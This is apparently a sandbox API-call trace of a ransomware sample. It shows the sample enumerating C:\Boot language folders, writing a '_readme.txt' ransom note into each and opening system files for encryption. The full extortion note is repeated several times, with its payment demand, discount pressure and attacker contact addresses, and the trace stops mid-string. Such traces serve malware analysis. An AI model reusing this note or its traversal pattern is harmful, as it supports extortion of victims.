hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.818] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.818] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.818] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.818] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.818] PathAppendW (in: pszPath="C:\\Boot\\it-IT\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\it-IT\\_readme.txt") returned 1 [0111.818] PathFileExistsW (pszPath="C:\\Boot\\it-IT\\_readme.txt") returned 0 [0111.818] lstrcpyW (in: lpString1=0x7b162e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.818] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.818] CreateFileW (lpFileName="C:\\Boot\\it-IT\\_readme.txt" (normalized: "c:\\boot\\it-it\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.818] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac4a28 | out: hHeap=0x5010000) returned 1 [0111.818] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b162e0 | out: hHeap=0x5010000) returned 1 [0111.818] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.818] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.819] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.819] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.819] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.819] PathFindExtensionW (pszPath="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned=".mui" [0111.819] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.819] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1afa0 | out: hHeap=0x5010000) returned 1 [0111.819] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0111.819] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.819] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac41a0 | out: hHeap=0x5010000) returned 1 [0111.819] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a36078 | out: hHeap=0x5010000) returned 1 [0111.819] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.819] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.819] PathFindFileNameW (pszPath="C:\\Boot\\ja-JP\\") returned="ja-JP\\" [0111.819] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.819] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.819] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.819] PathFindFileNameW (pszPath="") returned="" [0111.819] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.820] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.820] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.820] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.820] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.820] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.820] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.820] PathAppendW (in: pszPath="C:\\Boot\\ja-JP\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned 1 [0111.820] PathFileExistsW (pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned 0 [0111.820] lstrcpyW (in: lpString1=0x7b162e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.820] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.820] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\_readme.txt" (normalized: "c:\\boot\\ja-jp\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.820] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac4a28 | out: hHeap=0x5010000) returned 1 [0111.821] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b162e0 | out: hHeap=0x5010000) returned 1 [0111.821] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.821] FindFirstFileW (in: lpFileName="C:\\Boot\\ja-JP\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.821] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.821] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.821] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0111.821] PathFindExtensionW (pszPath="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned=".mui" [0111.821] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.821] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af10 | out: hHeap=0x5010000) returned 1 [0111.821] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0111.821] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.821] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac41a0 | out: hHeap=0x5010000) returned 1 [0111.821] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a36078 | out: hHeap=0x5010000) returned 1 [0111.821] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0111.821] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.821] PathFindFileNameW (pszPath="C:\\Boot\\ko-KR\\") returned="ko-KR\\" [0111.821] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.821] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.821] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.821] PathFindFileNameW (pszPath="") returned="" [0111.822] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.822] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.822] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.822] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.822] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35dd0 | out: hHeap=0x5010000) returned 1 [0111.822] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.822] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.822] PathAppendW (in: pszPath="C:\\Boot\\ko-KR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned 1 [0111.822] PathFileExistsW (pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned 0 [0111.822] lstrcpyW (in: lpString1=0x7b162e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.822] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is 